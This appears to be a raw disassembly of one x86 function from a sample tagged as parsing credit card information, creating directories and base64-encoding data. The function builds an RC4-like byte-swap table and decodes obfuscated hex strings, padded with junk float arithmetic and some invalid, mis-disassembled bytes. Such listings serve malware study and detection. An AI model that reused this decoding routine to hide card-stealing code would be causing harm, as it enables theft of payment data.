Function at 0x42ee70
Capabilities:
Create directory
Encode data using base64
Get common file path
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x6bf0
call fcn.009f5fc0
mov eax, dword [0xaa906c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x45dc], eax
mov ecx, dword [ebp - 0x45dc]
add ecx, 2
mov dword [ebp - 0x64d0], ecx
mov edx, dword [ebp - 0x45dc]
mov ax, word [edx]
mov word [ebp - 0x4b20], ax
add dword [ebp - 0x45dc], 2
cmp word [ebp - 0x4b20], 0
jne 0x428da2
mov ecx, dword [ebp - 0x45dc]
sub ecx, dword [ebp - 0x64d0]
sar ecx, 1
mov dword [ebp - 0x64d4], ecx
mov edx, dword [ebp - 0x64d4]
lea eax, [edx + edx + 2]
mov dword [ebp - 0x46bc], eax
mov dword [ebp - 0x3230], 0
mov dword [ebp - 0x322c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47fc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4598], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4598], xmm0
jmp 0x428e36
movsd xmm0, qword [ebp - 0x4598]
addsd xmm0, qword [0xa71340]
movsd qword [ebp - 0x4598], xmm0
movsd xmm0, qword [0xa71778]
comisd xmm0, xmmword [ebp - 0x4598]
jbe 0x428ee7
movsd xmm0, qword [0xa715f8]
mulsd xmm0, qword [ebp - 0x4598]
mulsd xmm0, qword [ebp - 0x4598]
movsd xmm1, qword [ebp - 0x4598]
mulsd xmm1, qword [ebp - 0x4598]
subsd xmm0, xmm1
movsd xmm1, qword [0xa71380]
mulsd xmm1, qword [ebp - 0x4598]
mulsd xmm1, qword [ebp - 0x4598]
addsd xmm1, qword [0xa71490]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47fc]
movsd qword [ebp - 0x47fc], xmm0
movsd xmm0, qword [ebp - 0x47fc]
comisd xmm0, xmmword [0xa715a8]
jbe 0x428ee2
movsd xmm0, qword [0xa71268]
mulsd xmm0, qword [ebp - 0x4598]
movsd xmm1, qword [ebp - 0x47fc]
subsd xmm1, xmm0
movsd qword [ebp - 0x47fc], xmm1
jmp 0x428e1e
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47fc]
jbe 0x428f31
jns 0x428f27
and bh, byte [edx + esi]
xor dword [edi], ebp
xor ebp, dword [edi + 0x4e]
sub dword [0x68773646], esi
dec esi
pop ebp
jae 0x428f53
inc edi
cmp edi, dword [edi]
push esp
push ebx
xor byte [esi + 0x42], bh
jg 0x428f51
jns 0x428f57
jbe 0x428f58
or byte [eax - 0x7b], 0x3a
js 0x428f61
jp 0x428f63
jnp 0x428f5b
test byte [ebx], bh
add dword [esp + edi*2 + 0x48], 0x43824676
js 0x428f67
inc esi
add byte [ebx + 0x78], 0x3b
jmp 0x42b7b7
mov dword [ebp - 0x3230], 0x428f0e
mov dword [ebp - 0x322c], 0x428ef4
mov ecx, dword [ebp - 0x3230]
mov dword [ebp - 0x3770], ecx
mov edx, dword [ebp - 0x322c]
aam 0xcd
invalid
mov dword [ebp - 0x64c0], edx
mov byte [ebp - 0x3fab], 0x1e
xchg ebp, eax
inc eax
wait
invalid
invalid
push ds
mov dword [ebp - 0x37bc], 0
jmp 0x428f7f
enter 0xffffffffffffffff, 0
add byte [eax], al
add bl, ch
jnp 0xad3fa
mov eax, dword [ebp - 0x37bc]
add eax, 1
mov dword [ebp - 0x37bc], eax
inc dword [ebx - 0x7a76fe40]
inc esp
enter 0xffffffffffffffff, 0xffffffffffffff81
mov ebp, 0xffffc844
add byte [ecx], al
add byte [eax], al
cmp dword [ebp - 0x37bc], 0x100
jae 0x428fa0
mov ecx, dword [ebp - 0x37bc]
mov dl, byte [ebp - 0x37bc]
mov byte [ebp + ecx - 0x53c4], dl
jmp 0x428f70
mov dword [ebp - 0x44fc], 0
mov byte [ebp - 0x3355], 0
mov dword [ebp - 0x37bc], 0xff
jmp 0x428fcc
mov eax, dword [ebp - 0x37bc]
sub eax, 1
mov dword [ebp - 0x37bc], eax
cmp dword [ebp - 0x37bc], 0
jbe 0x42923c
mov dword [ebp - 0x4b28], 0
mov dword [ebp - 0x48bc], 1
mov ecx, dword [ebp - 0x48bc]
cmp ecx, dword [ebp - 0x37bc]
jae 0x42900d
mov edx, dword [ebp - 0x48bc]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x48bc], eax
jmp 0x428fed
mov ecx, dword [ebp - 0x44fc]
mov dword [ebp - 0x5178], ecx
cmp dword [ebp - 0x5178], 3
ja case.default.0x42902c
mov edx, dword [ebp - 0x5178]
jmp dword [edx*4 + 0x46af78]
movzx eax, byte [ebp - 0x3355]
movzx ebx, byte [ebp + eax - 0x53c4]
movsd xmm0, qword [ebp - 0x47fc]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x429115
movzx ecx, byte [ebp - 0x3355]
movzx ebx, byte [ebp + ecx - 0x53c4]
movsd xmm0, qword [ebp - 0x47fc]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x429115
movzx edx, byte [ebp - 0x3355]
movzx ebx, byte [ebp + edx - 0x53c4]
movsd xmm0, qword [ebp - 0x47fc]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x429115
movzx eax, byte [ebp - 0x3355]
movzx ebx, byte [ebp + eax - 0x53c4]
movsd xmm0, qword [ebp - 0x47fc]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x429115
movzx ecx, byte [ebp - 0x3355]
movzx edx, byte [ebp + ecx - 0x53c4]
mov eax, dword [ebp - 0x64c0]
add eax, dword [ebp - 0x44fc]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3355], dl
mov edx, dword [ebp - 0x44fc]
add edx, 1
mov dword [ebp - 0x44fc], edx
movzx eax, byte [ebp - 0x3fab]
cmp dword [ebp - 0x44fc], eax
jb 0x429153
mov dword [ebp - 0x44fc], 0
movzx ecx, byte [ebp - 0x3fab]
movzx edx, byte [ebp - 0x3355]
add edx, ecx
mov byte [ebp - 0x3355], dl
movzx eax, byte [ebp - 0x3355]
and eax, dword [ebp - 0x48bc]
mov dword [ebp - 0x42f8], eax
mov ecx, dword [ebp - 0x4b28]
add ecx, 1
mov dword [ebp - 0x4b28], ecx
cmp dword [ebp - 0x4b28], 0xb
jbe 0x429192
mov eax, dword [ebp - 0x42f8]
xor edx, edx
div dword [ebp - 0x37bc]
mov dword [ebp - 0x42f8], edx
mov edx, dword [ebp - 0x42f8]
cmp edx, dword [ebp - 0x37bc]
ja 0x42900d
mov eax, dword [ebp - 0x37bc]
cmp eax, dword [ebp - 0x42f8]
je 0x429237
mov ecx, dword [ebp - 0x42f8]
movzx edx, byte [ebp + ecx - 0x53c4]
mov eax, dword [ebp - 0x37bc]
movzx ecx, byte [ebp + eax - 0x53c4]
xor ecx, edx
mov edx, dword [ebp - 0x37bc]
mov byte [ebp + edx - 0x53c4], cl
mov eax, dword [ebp - 0x37bc]
movzx ecx, byte [ebp + eax - 0x53c4]
mov edx, dword [ebp - 0x42f8]
movzx eax, byte [ebp + edx - 0x53c4]
xor eax, ecx
mov ecx, dword [ebp - 0x42f8]
mov byte [ebp + ecx - 0x53c4], al
mov edx, dword [ebp - 0x42f8]
movzx eax, byte [ebp + edx - 0x53c4]
mov ecx, dword [ebp - 0x37bc]
movzx edx, byte [ebp + ecx - 0x53c4]
xor edx, eax
mov eax, dword [ebp - 0x37bc]
mov byte [ebp + eax - 0x53c4], dl
jmp 0x428fbd
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x53c4]
mov byte [ebp - 0x3268], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x53c4]
mov byte [ebp - 0x327b], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x53c4]
mov byte [ebp - 0x32cc], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x53c4]
mov byte [ebp - 0x327a], dl
movzx eax, byte [ebp - 0x3355]
mov cl, byte [ebp + eax - 0x53c4]
mov byte [ebp - 0x3297], cl
mov dword [ebp - 0x5174], 0x1e
cmp dword [ebp - 0x5174], 2
jle 0x42b763
mov edx, dword [ebp - 0x5174]
and edx, 1
jne 0x42b763
mov dword [ebp - 0x3370], 0
mov dword [ebp - 0x35a0], 0
mov eax, dword [ebp - 0x35a0]
add eax, 1
mov dword [ebp - 0x35a0], eax
mov dword [ebp - 0x384c], 0
mov ecx, dword [ebp - 0x3370]
shl ecx, 1
mov dword [ebp - 0x384c], ecx
mov dword [ebp - 0x3744], 0
mov edx, dword [ebp - 0x3770]
add edx, dword [ebp - 0x384c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3744]
mov dword [ebp - 0x3744], eax
mov dword [ebp - 0x3748], 0
mov ecx, dword [ebp - 0x3748]
add ecx, 0x76
mov dword [ebp - 0x3748], ecx
mov dword [ebp - 0x3774], 0
mov edx, dword [ebp - 0x3370]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3774], eax
mov dword [ebp - 0x374c], 0
mov ecx, dword [ebp - 0x3770]
add ecx, dword [ebp - 0x3774]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x374c]
mov dword [ebp - 0x374c], edx
mov dword [ebp - 0x3750], 0
mov eax, dword [ebp - 0x3750]
add eax, 0x3a
mov dword [ebp - 0x3750], eax
mov dword [ebp - 0x3754], 0
mov ecx, dword [ebp - 0x3744]
sub ecx, dword [ebp - 0x3748]
add ecx, dword [ebp - 0x3754]
mov dword [ebp - 0x3754], ecx
mov dword [ebp - 0x3758], 0
mov edx, dword [ebp - 0x374c]
sub edx, dword [ebp - 0x3750]
add edx, dword [ebp - 0x3758]
mov dword [ebp - 0x3758], edx
mov dword [ebp - 0x3778], 0
mov eax, dword [ebp - 0x3754]
shl eax, 4
mov dword [ebp - 0x3778], eax
mov dword [ebp - 0x377c], 0
mov ecx, dword [ebp - 0x3758]
mov dword [ebp - 0x377c], ecx
mov dword [ebp - 0x3780], 0
mov edx, dword [ebp - 0x3778]
or edx, dword [ebp - 0x377c]
mov dword [ebp - 0x3780], edx
mov byte [ebp - 0x32cb], 0
mov al, byte [ebp - 0x3780]
mov byte [ebp - 0x32cb], al
mov byte [ebp - 0x32cd], 0
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + ecx - 0x53c4]
mov byte [ebp - 0x32cd], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp - 0x327b]
add edx, ecx
mov byte [ebp - 0x327b], dl
mov al, byte [ebp - 0x3268]
add al, 1
mov byte [ebp - 0x3268], al
movzx ecx, byte [ebp - 0x327b]
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x327a]
movzx edx, byte [ebp - 0x327b]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp - 0x327a]
mov al, byte [ebp + ecx - 0x53c4]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x3268]
mov dl, byte [ebp - 0x32cd]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x32cd]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp - 0x32cc]
add edx, ecx
mov byte [ebp - 0x32cc], dl
movzx eax, byte [ebp - 0x32cb]
movzx ecx, byte [ebp - 0x327b]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx ecx, byte [ebp - 0x3268]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x53c4]
xor eax, edx
movzx ecx, byte [ebp - 0x327a]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx ecx, byte [ebp - 0x3297]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32cc]
movzx ecx, byte [ebp + ecx - 0x53c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp + edx - 0x53c4]
xor eax, ecx
mov byte [ebp - 0x327a], al
mov dl, byte [ebp - 0x32cb]
mov byte [ebp - 0x3297], dl
mov al, byte [ebp - 0x327a]
mov byte [ebp - 0x3319], al
cmp dword [ebp - 0x3370], 0
jle 0x4295c7
movsx cx, byte [ebp - 0x3319]
mov edx, dword [ebp - 0x3370]
mov word [ebp + edx*2 - 0xba], cx
mov eax, dword [ebp - 0x35a0]
add eax, 4
mov dword [ebp - 0x35a0], eax
mov ecx, dword [ebp - 0x3370]
add ecx, 1
mov dword [ebp - 0x4b2c], ecx
jmp 0x4295f6
mov edx, dword [ebp - 0x4b2c]
add edx, 1
mov dword [ebp - 0x4b2c], edx
mov eax, dword [ebp - 0x4b2c]
cmp eax, dword [ebp - 0x35a0]
jge 0x429859
mov ecx, dword [ebp - 0x3370]
add ecx, 1
mov dword [ebp - 0x3370], ecx
mov edx, dword [ebp - 0x3370]
shl edx, 1
mov dword [ebp - 0x384c], edx
mov eax, dword [ebp - 0x3770]
add eax, dword [ebp - 0x384c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3744], ecx
mov dword [ebp - 0x3748], 0x76
mov edx, dword [ebp - 0x3370]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3774], eax
mov ecx, dword [ebp - 0x3770]
add ecx, dword [ebp - 0x3774]
movzx edx, byte [ecx]
mov dword [ebp - 0x374c], edx
mov dword [ebp - 0x3750], 0x3a
mov eax, dword [ebp - 0x3744]
sub eax, dword [ebp - 0x3748]
mov dword [ebp - 0x3754], eax
mov ecx, dword [ebp - 0x374c]
sub ecx, dword [ebp - 0x3750]
mov dword [ebp - 0x3758], ecx
mov edx, dword [ebp - 0x3754]
shl edx, 4
mov dword [ebp - 0x3778], edx
mov eax, dword [ebp - 0x3758]
mov dword [ebp - 0x377c], eax
mov ecx, dword [ebp - 0x3778]
or ecx, dword [ebp - 0x377c]
mov dword [ebp - 0x3780], ecx
mov dl, byte [ebp - 0x3780]
mov byte [ebp - 0x32cb], dl
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + eax - 0x53c4]
mov byte [ebp - 0x32cd], cl
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp - 0x327b]
add ecx, eax
mov byte [ebp - 0x327b], cl
mov dl, byte [ebp - 0x3268]
add dl, 1
mov byte [ebp - 0x3268], dl
movzx eax, byte [ebp - 0x327b]
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + eax - 0x53c4]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x327a]
movzx ecx, byte [ebp - 0x327b]
mov dl, byte [ebp + eax - 0x53c4]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp - 0x327a]
mov dl, byte [ebp + eax - 0x53c4]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x3268]
mov cl, byte [ebp - 0x32cd]
mov byte [ebp + eax - 0x53c4], cl
movzx edx, byte [ebp - 0x32cd]
movzx eax, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp - 0x32cc]
add ecx, eax
mov byte [ebp - 0x32cc], cl
movzx edx, byte [ebp - 0x32cb]
movzx eax, byte [ebp - 0x327b]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx eax, byte [ebp - 0x3268]
movzx eax, byte [ebp + eax - 0x53c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x53c4]
xor edx, ecx
movzx eax, byte [ebp - 0x327a]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx eax, byte [ebp - 0x3297]
movzx eax, byte [ebp + eax - 0x53c4]
add ecx, eax
movzx eax, byte [ebp - 0x32cc]
movzx eax, byte [ebp + eax - 0x53c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x53c4]
movzx eax, byte [ebp + ecx - 0x53c4]
xor edx, eax
mov byte [ebp - 0x327a], dl
mov cl, byte [ebp - 0x32cb]
mov byte [ebp - 0x3297], cl
mov dl, byte [ebp - 0x327a]
mov byte [ebp - 0x3319], dl
cmp dword [ebp - 0x3370], 0
jle 0x429854
movsx ax, byte [ebp - 0x3319]
mov ecx, dword [ebp - 0x3370]
mov word [ebp + ecx*2 - 0xba], ax
jmp 0x4295e7
movss xmm0, dword [0xa722d8]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [0xa721a0]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [0xa72074]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x3404]
subss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x3404]
mulss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x3404]
mulss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x3404]
comiss xmm0, dword [ebp - 0x3510]
jbe 0x42993e
movss xmm0, dword [ebp - 0x34a8]
subss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3510]
addss xmm0, dword [ebp - 0x3404]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x3510]
addss xmm0, dword [ebp - 0x3404]
movss dword [ebp - 0x3510], xmm0
mov edx, dword [ebp - 0x35a0]
add edx, 1
mov dword [ebp - 0x35a0], edx
jmp 0x429b5f
movss xmm0, dword [ebp - 0x3510]
mulss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x34a8]
subss xmm0, dword [ebp - 0x3404]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x34a8]
addss xmm0, dword [ebp - 0x3404]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x34a8]
subss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x34a8]
mulss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x34a8]
addss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3404]
comiss xmm0, dword [ebp - 0x34a8]
jbe 0x429a2c
movss xmm0, dword [ebp - 0x34a8]
divss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3404]
divss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x34a8]
mulss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x34a8], xmm0
jmp 0x429b5f
movss xmm0, dword [ebp - 0x3404]
mulss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x3510]
subss xmm0, dword [ebp - 0x3404]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x3404]
mulss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x3404]
divss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x3510]
subss xmm0, dword [ebp - 0x3404]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x3404]
subss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x3404]
comiss xmm0, dword [ebp - 0x3510]
jbe 0x429b17
movss xmm0, dword [ebp - 0x3404]
addss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x3404]
addss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x3510]
addss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3510], xmm0
jmp 0x429b5f
movss xmm0, dword [ebp - 0x3404]
mulss xmm0, dword [ebp - 0x3510]
movss dword [ebp - 0x3404], xmm0
movss xmm0, dword [ebp - 0x34a8]
divss xmm0, dword [ebp - 0x3404]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x34a8]
mulss xmm0, dword [ebp - 0x3404]
movss dword [ebp - 0x34a8], xmm0
mov eax, dword [ebp - 0x3370]
add eax, 1
mov dword [ebp - 0x3370], eax
mov ecx, dword [ebp - 0x35a0]
add ecx, 1
mov dword [ebp - 0x35a0], ecx
mov edx, dword [ebp - 0x3370]
shl edx, 1
mov dword [ebp - 0x384c], edx
mov eax, dword [ebp - 0x3770]
add eax, dword [ebp - 0x384c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3744], ecx
mov dword [ebp - 0x3748], 0x76
mov edx, dword [ebp - 0x3370]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3774], eax
mov ecx, dword [ebp - 0x3770]
add ecx, dword [ebp - 0x3774]
movzx edx, byte [ecx]
mov dword [ebp - 0x374c], edx
mov dword [ebp - 0x3750], 0x3a
mov eax, dword [ebp - 0x3744]
sub eax, dword [ebp - 0x3748]
mov dword [ebp - 0x3754], eax
mov ecx, dword [ebp - 0x374c]
sub ecx, dword [ebp - 0x3750]
mov dword [ebp - 0x3758], ecx
mov edx, dword [ebp - 0x3754]
shl edx, 4
mov dword [ebp - 0x3778], edx
mov eax, dword [ebp - 0x3758]
mov dword [ebp - 0x377c], eax
mov ecx, dword [ebp - 0x3778]
or ecx, dword [ebp - 0x377c]
mov dword [ebp - 0x3780], ecx
mov dl, byte [ebp - 0x3780]
mov byte [ebp - 0x32cb], dl
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + eax - 0x53c4]
mov byte [ebp - 0x32cd], cl
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp - 0x327b]
add ecx, eax
mov byte [ebp - 0x327b], cl
mov dl, byte [ebp - 0x3268]
add dl, 1
mov byte [ebp - 0x3268], dl
movzx eax, byte [ebp - 0x327b]
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + eax - 0x53c4]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x327a]
movzx ecx, byte [ebp - 0x327b]
mov dl, byte [ebp + eax - 0x53c4]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp - 0x327a]
mov dl, byte [ebp + eax - 0x53c4]
mov byte [ebp + ecx - 0x53c4], dl
movzx eax, byte [ebp - 0x3268]
mov cl, byte [ebp - 0x32cd]
mov byte [ebp + eax - 0x53c4], cl
movzx edx, byte [ebp - 0x32cd]
movzx eax, byte [ebp + edx - 0x53c4]
movzx ecx, byte [ebp - 0x32cc]
add ecx, eax
mov byte [ebp - 0x32cc], cl
movzx edx, byte [ebp - 0x32cb]
movzx eax, byte [ebp - 0x327b]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx eax, byte [ebp - 0x3268]
movzx eax, byte [ebp + eax - 0x53c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x53c4]
xor edx, ecx
movzx eax, byte [ebp - 0x327a]
movzx ecx, byte [ebp + eax - 0x53c4]
movzx eax, byte [ebp - 0x3297]
movzx eax, byte [ebp + eax - 0x53c4]
add ecx, eax
movzx eax, byte [ebp - 0x32cc]
movzx eax, byte [ebp + eax - 0x53c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x53c4]
movzx eax, byte [ebp + ecx - 0x53c4]
xor edx, eax
mov byte [ebp - 0x327a], dl
mov cl, byte [ebp - 0x32cb]
mov byte [ebp - 0x3297], cl
mov dl, byte [ebp - 0x327a]
mov byte [ebp - 0x3319], dl
cmp dword [ebp - 0x3370], 0
jle 0x429dba
movsx ax, byte [ebp - 0x3319]
mov ecx, dword [ebp - 0x3370]
mov word [ebp + ecx*2 - 0xba], ax
mov edx, dword [ebp - 0x3370]
add edx, 1
mov dword [ebp - 0x3370], edx
mov eax, dword [ebp - 0x35a0]
add eax, 1
mov dword [ebp - 0x35a0], eax
mov ecx, dword [ebp - 0x3370]
shl ecx, 1
mov dword [ebp - 0x384c], ecx
mov edx, dword [ebp - 0x3770]
add edx, dword [ebp - 0x384c]
movzx eax, byte [edx]
mov dword [ebp - 0x3744], eax
mov dword [ebp - 0x3748], 0x76
mov ecx, dword [ebp - 0x3370]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3774], edx
mov eax, dword [ebp - 0x3770]
add eax, dword [ebp - 0x3774]
movzx ecx, byte [eax]
mov dword [ebp - 0x374c], ecx
mov dword [ebp - 0x3750], 0x3a
mov edx, dword [ebp - 0x3744]
sub edx, dword [ebp - 0x3748]
mov dword [ebp - 0x3754], edx
mov eax, dword [ebp - 0x374c]
sub eax, dword [ebp - 0x3750]
mov dword [ebp - 0x3758], eax
mov ecx, dword [ebp - 0x3754]
shl ecx, 4
mov dword [ebp - 0x3778], ecx
mov edx, dword [ebp - 0x3758]
mov dword [ebp - 0x377c], edx
mov eax, dword [ebp - 0x3778]
or eax, dword [ebp - 0x377c]
mov dword [ebp - 0x3780], eax
mov cl, byte [ebp - 0x3780]
mov byte [ebp - 0x32cb], cl
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + edx - 0x53c4]
mov byte [ebp - 0x32cd], al
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx eax, byte [ebp - 0x327b]
add eax, edx
mov byte [ebp - 0x327b], al
mov cl, byte [ebp - 0x3268]
add cl, 1
mov byte [ebp - 0x3268], cl
movzx edx, byte [ebp - 0x327b]
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + edx - 0x53c4]
mov byte [ebp + eax - 0x53c4], cl
movzx edx, byte [ebp - 0x327a]
movzx eax, byte [ebp - 0x327b]
mov cl, byte [ebp + edx - 0x53c4]
mov byte [ebp + eax - 0x53c4], cl
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp - 0x327a]
mov cl, byte [ebp + edx - 0x53c4]
mov byte [ebp + eax - 0x53c4], cl
movzx edx, byte [ebp - 0x3268]
mov al, byte [ebp - 0x32cd]
mov byte [ebp + edx - 0x53c4], al
movzx ecx, byte [ebp - 0x32cd]
movzx edx, byte [ebp + ecx - 0x53c4]
movzx eax, byte [ebp - 0x32cc]
add eax, edx
mov byte [ebp - 0x32cc], al
movzx ecx, byte [ebp - 0x32cb]
movzx edx, byte [ebp - 0x327b]
movzx eax, byte [ebp + edx - 0x53c4]
movzx edx, byte [ebp - 0x3268]
movzx edx, byte [ebp + edx - 0x53c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x53c4]
xor ecx, eax
movzx edx, byte [ebp - 0x327a]
movzx eax, byte [ebp + edx - 0x53c4]
movzx edx, byte [ebp - 0x3297]
movzx edx, byte [ebp + edx - 0x53c4]
add eax, edx
movzx edx, byte [ebp - 0x32cc]
movzx edx, byte [ebp + edx - 0x53c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x53c4]
movzx edx, byte [ebp + eax - 0x53c4]
xor ecx, edx
mov byte [ebp - 0x327a], cl
mov al, byte [ebp - 0x32cb]
mov byte [ebp - 0x3297], al
mov cl, byte [ebp - 0x327a]
mov byte [ebp - 0x3319], cl
cmp dword [ebp - 0x3370], 0
jle 0x42a013
movsx dx, byte [ebp - 0x3319]
mov eax, dword [ebp - 0x3370]
mov word [ebp + eax*2 - 0xba], dx
mov ecx, dword [ebp - 0x35a0]
add ecx, 4
mov dword [ebp - 0x35a0], ecx
mov edx, dword [ebp - 0x3370]
add edx, 1
mov dword [ebp - 0x4b30], edx
jmp 0x42a042
mov eax, dword [ebp - 0x4b30]
add eax, 1
mov dword [ebp - 0x4b30], eax
mov ecx, dword [ebp - 0x4b30]
cmp ecx, dword [ebp - 0x35a0]
jge 0x42a2a4
mov edx, dword [ebp - 0x3370]
add edx, 1
mov dword [ebp - 0x3370], edx
mov eax, dword [ebp - 0x3370]
shl eax, 1
mov dword [ebp - 0x384c], eax
mov ecx, dword [ebp - 0x3770]
add ecx, dword [ebp - 0x384c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3744], edx
mov dword [ebp - 0x3748], 0x76
mov eax, dword [ebp - 0x3370]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3774], ecx
mov edx, dword [ebp - 0x3770]
add edx, dword [ebp - 0x3774]
movzx eax, byte [edx]
mov dword [ebp - 0x374c], eax
mov dword [ebp - 0x3750], 0x3a
mov ecx, dword [ebp - 0x3744]
sub ecx, dword [ebp - 0x3748]
mov dword [ebp - 0x3754], ecx
mov edx, dword [ebp - 0x374c]
sub edx, dword [ebp - 0x3750]
mov dword [ebp - 0x3758], edx
mov eax, dword [ebp - 0x3754]
shl eax, 4
mov dword [ebp - 0x3778], eax
mov ecx, dword [ebp - 0x3758]
